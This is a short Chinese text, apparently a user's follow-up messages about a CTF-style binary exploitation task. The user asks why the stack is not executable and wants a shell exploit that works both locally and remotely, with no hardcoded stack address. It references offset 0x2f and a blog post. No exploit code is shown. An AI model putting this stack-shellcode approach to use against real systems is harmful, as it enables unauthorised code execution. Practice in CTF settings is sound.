上面是很多人总结的信息，说栈地址是可执行的，为什么我的不可执行

还是没有获取到 shell 啊，另外我希望就和博客中一样，既能够打通本地，也可以打通远程

按照打远程的方式打本地，把本地打通，之前不是给过别人的博客文章，别人的思路都有了，为什么不能和他写的类似

STACK_PAGE = 0x40800000 不要这种写死的数据

可以参考这个脚本

那不打 cli_patched 了，去打 cli 即可，依旧要求栈可执行，cli 文件的 0x2f 偏移是正确的

当前脚本不能复用的原因是什么

问几个问题：

  1. 当前这个二进制文件是否栈可执行
  2. 如果栈可执行，为什么我给的脚本不能够复用
  3. 当前在思考什么，问题卡在哪里了

泄露出的 stack 是什么

按照这个解释一下

参考资料：https://blog.csdn.net/z22168/article/details/151622368

说些什么吧！

utterances